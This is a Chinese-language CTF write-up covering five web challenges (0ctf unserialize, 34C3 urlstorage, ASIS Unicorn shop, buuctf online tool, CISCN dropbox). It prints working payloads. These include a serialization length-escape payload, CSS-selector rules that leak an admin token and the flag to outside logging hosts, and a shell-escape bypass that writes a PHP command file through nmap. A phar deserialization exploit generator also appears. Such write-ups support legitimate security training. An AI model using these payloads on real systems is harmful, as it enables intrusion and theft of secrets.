项目地址:https://github.com/CTFTraining/CTFTraining

0ctf-2016-unserialize

首先打开题目是一个登录页面

Alt text

先尝试用户名/密码为a/a登录,回显:’Invalid user name’,再用admin/a登录,回显:’Invalid password’,再尝试admin/admin,发现回显是:’Invalid user name or password’

这就懵逼了,直接先扫一下目录吧

Alt text

我们可以看到目录下有一个www.zip文件,看来是存在源码泄露,把它下载下来解压果然是网站源码

首先看到有一个register.php,审计了一下没有可利用的地方,先注册一个test/test,然后登录看到一个更新个人信息的界面:

Alt text

我们再去审计一下源码,首先看到config.php中有$flag,猜测flag应该就在config.php中

既然题目是反序列化,那我们直接查找unserialize()函数,定位在profile.php中:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
	}
?>

最后调用了file_get_contents()来读取$profile['photo']文件的内容,我们再向前溯源update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

可以看这一句:$profile['photo'] = 'upload/' . md5($file['name']);,这里上传的文件名被md5加密了,我原本的思路是修改$profile['photo']的值,使经过序列化和反序列化之后能够读取config.php,看来没有那么简单,我们要想办法绕过

再看这一段代码:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

这里可以利用php弱类型,将nickname作为数组传入即可绕过正则的限制

我们在本地测试一下序列化,首先正常序列化是这样的: Alt text

然后将nickname改为数组后是这样的: Alt text

那既然nickname的值是可控的,那么能不能尝试闭合掉双引号然后修改photo的内容呢? Alt text

可以看到当传入nickname为a";}s:5:"photo";s:10:"config.php";}时,还是被包裹在双引号中,我们要使数据逃逸出来。

然后我们关注到在序列化之后,有这样一句代码:

$profile=$user->show_profile($username);

我们再看一下show_profile()方法:

public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}

我们注意到这里有个filter(),代码如下:

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

这里会把常见的sql关键字给替换为’hacker’,我们发现只有where是5个字符的字符串被替换为了6个字符的hacker。

php序列化后的格式一般是这样的: Alt text 我们要注意到每个属性或值前面都是标明长度的,如果值的长度大于了前面标明的属性长度,那么php就会把多出来的部分当作下一个字段的定义

因此,每当有一个where被替换为hacker时,我们就可以添加一个可控字符

而我们的预期的payload:a";}s:5:"photo";s:10:"config.php";}一共有34个字符

那么我们应该在最终的payload中添加34个where来逃逸这34个字符。我在本地做了一个测试:

<?php
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($_POST['filename']);
$a = serialize($profile);
echo $a . '<br><br>';
$a = str_replace('where', 'hacker', $a);
echo $a . '<br><br>';
print_r(unserialize($a));
?>

然后我传入payload后得到:

Alt text

可以看到photo的值已经成功变为config.php,而我们也可以注意到替换前后的nickname显示的属性长度均是204,而实际上替换后的长度是238,也就造成了34个字符被当作下一个字段的定义

因此最终payload:

phone=12345678910&email=aaa@qq.com&nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}&photo=a.jpg

我们只需从update.php用POST把payload传参,然后访问profile.php,查看图片的信息,其中的base64就是config.php的内容,最终flag为:flag{test_flag}

34C3-2016-urlstorage

这道题遇到的RPO攻击自己根本不会,只能看wp边学边做了。。

首先也是一个登录/注册的界面:

Alt text

先注册一个test1234/test1234的账户试一下,发现下面这个界面:

Alt text

我们先来说一下RPO攻击:

RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由GarethHeyes在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

在这道题中,我们先右键查看一下前端源代码,其中引用的css文件是这样的:

<link href="static/css/milligram.min.css" type="text/css" rel="stylesheet" media="screen,projection"/>

也就是说以网站根目录为根目录的话,这个css文件的目录就是:/static/css/milligram.min.css

然后我们修改刚才那个界面的URL为下图,发现页面的css并没有被解析 Alt text

首先这个URL(http://192.168.177.152:8080/urlstorage/123)的结构就类似于有些CTF题目中伪静态的格式,如/urlstorage/test/a中test会被认为是参数名,a会被作为参数值

然后这个界面的css没有被加载的原因就是:

原本该页面的目录应该是/urlstorage,那么那个css文件对于它的相对路径就是../static/css/milligram.min.css。而当我们在URL后添加123时,服务器会认为该css文件此时的相对路径是../../static/css/milligram.min.css。可以理解为服务器将123当作了目录,因此无法读取该css文件。

证明RPO攻击存在的方法就是,我们在burp抓包将提交的URL的值改为%0a{}%0a*%0a{color:blue%3B}%0a,提交后发现文字果然变为了蓝色

Alt text

之所以能够修改页面是因为CSS在加载时会忽略不符合CSS语法的句子,我们查看前端源代码可以看到CSS代码:

Alt text

我们再回到题目本身,我们点击刚才页面中的GET FLAG看看是什么功能:

Alt text

看到这里就明白肯定是admin才能读取最终的flag,我们再看一下最后一句话中的contact界面

Alt text

这里提示admin对每个请求只处理3s,而且每次admin的token都在变换。所以我们要一次获取完token的值,可以利用下面给出的pow.py,服务端会用30s的时间处理所有的请求

我们再返回一开始的界面来测试发现:

  1. flag页面的token参数存在XSS,但限制64字符
  2. urlstorage页面存在CSRF

此时我们还需要利用一个CSS的功能:CSS选择器(CSS Selector),我们可以在用户提交URL处传入以下语句:

token第一位:

a[href^=flag\?token\=0]{background: url(//l4w.io/rpo/logging.php?c=0);}
a[href^=flag\?token\=1]{background: url(//l4w.io/rpo/logging.php?c=1);}
...
a[href^=flag\?token\=f]{background: url(//l4w.io/rpo/logging.php?c=f);}

token第二位:

a[href^=flag\?token\=10]{background: url(//l4w.io/rpo/logging.php?c=10);}
a[href^=flag\?token\=11]{background: url(//l4w.io/rpo/logging.php?c=11);}
...
a[href^=flag\?token\=1f]{background: url(//l4w.io/rpo/logging.php?c=1f);}

这些语句的意思是如果token的第一位等于某字符时,就会对后面的网址发送请求,通过这样来获取admin的token

当我们拿到token后,我们还要想办法读取admin的flag界面中的flag,那么我们还得想办法在flag界面中利用RPO。首先我们得知道这个:

在浏览器处理相对路径时,一般情况是获取当前url的最后一个/前作为base url,但是如果页面中给出了base标签,那么就会读取base标签中的url作为base url

此时我们可以利用flag页面的XSS来修改base url,只需要插入base标签即可:

flag?token=540c3b44e37e414b01d06ac3abe7037f%3C/title%3E%3Cbase%20href=urlstorage/12%3E

这时我们就可以在flag页面利用RPO了,然后我们还是使用CSS选择器,看了师傅们的wp发现原题的flag格式是以‘34c3’开头的(我用的这个docker环境flag不一样)。因此原题还有个坑,那就是css选择器匹配时首字符不能是数字,对于这个有两种绕过:

  1. 使用css模糊匹配
    #flag[value*=C3_1]{background: url(http://xxx.pw/?flag=C3_1);}
    

    这种语句的意思是flag里包含有C3_1这个字段

  2. 使用16进制编码
    #flag[value^=\33\34\43\33]{background: url(http://xxx.pw/?34c3);}
    

最后贴一个大佬的exp:https://github.com/eboda/34c3ctf/blob/master/urlstorage/exploit/exploit.php

这道题实在是对我这种菜鸟不友好,去年就听说35c3是德国最厉害的ctf比赛了,这道34c3题目中除了xss和csrf这两大类以外都是自己知识领域外的东西。这一道题自己搞了一天还是一知半解的,其中RPO和CSS选择器什么的都还需要以后去深入研究一下。

ASIS-2019-Quals-Unicorn shop

打开题目是一个这样的界面:

Alt text

这是一个独角兽商店,我们先查看一下前端的源码,发现以下可能有用的注释:

<meta charset="utf-8"><!--Ah,really important,seriously. -->
...
<!-- Don't be frustrated by the same view,we've changed the challenge content.-->
<!-- Bootstrap core CSS -->
...
<!--We still have some surprise for admin.password-->
...
<!-- /container -->

此时我们再回到购买页面购买几次试试,发现都返回了‘Wrong commodity!’。经过fuzz后发现是不存在sql注入的。

此时我们还是把思路放在之前的提示上,提示说网站编码为UTF-8非常重要,那么应该就是字符编码方面的问题了

当我们输入price为10时,会回显:‘Only one char(?) allowed!’,也就是说只能输入一个字符,那我们就无法购买最后一个独角兽了

这道题复现的其实漏掉了原题的一个提示,原题在Price输入框下面还有一句话:

We accept numeric denominations in any standard! We’ll never share your $$$ with anyone else.

我们接受任何标准的数字面额!我们绝不会与其他人分享您的 $$$。

也就是说这里可以接收阿拉伯数字、罗马数字等,可以使用X(罗马数字)来代表阿拉伯数字10,那么我们思路就是想办法找一个能代表很大的数字的字符

在unicode编码中也有很多单个字符能代表很大的数字,如Ethiopic Number Ten Thousand就代表数字10000,该字符的UTF-8编码为:0xE1 0x8D 0xBC,因此我们使用curl发送price数据:%E1%8D%BC

payload:curl 'http://192.168.177.152:6732/charge' --data 'id=4&price=%E1%8D%BC'

Alt text

buuctf-2018-online tool

题目直接给了源码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

看起来应该是一个命令执行,可以发现$host经过escapeshellarg()escapeshellcmd()的处理才被带入命令语句中,我们先看一下这两个函数的定义:

Alt text

Alt text

只看定义的话暂时看不出来什么能绕过的方法,我们在本地测试一下,代码:

<?php
$host = $_GET['host'];
$host = escapeshellarg($host);
echo $host . '<br>';
$host = escapeshellcmd($host);
echo "nmap -T5 -sT -Pn --host-timeout 2 -F " . $host;
?>

Alt text

当我们输入host='1时,可以发现经过escapeshellarg()处理后会在单引号前加上转义符\,而且这个转义符也会被加上单引号,也就是这样:'\'

而再经过escapeshellcmd()处理后我们会发现有一个单引号没有被转义,而当我们输入host='1'时,我们会发现所有引号刚好都形成了闭合,而我们输入的1逃逸了出来。

这是因为escapeshellcmd()只会对没有配对的单引号进行转义,处理前的数据是''\''1'\''',第一个和第二个单引号配对,然后转义符本身被转义,第三个和第四个引号配对,再然后是第五个和第六个单引号配对(中间的转义符本身被转义,可以忽略),然后最后两个引号配对。于是1就逃逸了出来,不会被作为字符串处理。

Alt text

那么我们就可以利用nmap将记录导出为文件的功能,向记录文件中写php代码来执行命令

payload为:

?host='<?php echo `cat /flag`;?> -oG test.php'

Alt text

最后访问test.php即可得到flag:

Alt text

CISCN_2019_华北赛区_Day1_Web1

首先打开也是一个登录页面,检查了一下源代码和数据包没有什么发现,测试了一下也没有sql注入 Alt text

先注册一个test/test用户进去看一下,发现是一个管理界面,有一个文件上传功能 Alt text

先上传一个jpg文件看一下,发现上传后的文件可以被下载和删除 Alt text

我们测试下载时有没有对路径做检测,结果是可以成功下载到网站根目录的php文件 Alt text

那么我们把网站的index.php、download.php、upload.php、delete.php都下载下来:

index.php

// index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
...
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

upload.php

// upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

download.php

// download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

// delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

class.php

// class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

我们审计后发现下载时不能下载带有flag的文件,看来是不能直接下载flag的

class.php中,File这个类有一个close()方法利用file_get_contents()来读取文件内容,我们如果可以触发这个方法的话就有可能读取到flag

我们再往上溯源,发现User类的这一句:

public function __destruct() {
        $this->db->close();
    }

可以看到User类中的__destruct()方法可以调用其他类的close()方法,而魔术方法__destruct()会在对象被销毁时执行

在这里我们要使用phar伪协议来进行php对象注入

贴一个大佬的exp:

<?php
    class File{
        public $filename = "/flag.txt";
    }
    class User {
        public $db;
    } 
    class FileList {
        public $files;
    } 
    $o = new User();
    $o->db =new FileList();
    $o->db->files=array(new File());
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

先利用这个exp生成一个phar文件,然后再改成图片的扩展名上传(phar.png)

最后使用删除文件的功能,修改要删除的文件名为phar://phar.png/test.txt,即可读取到flag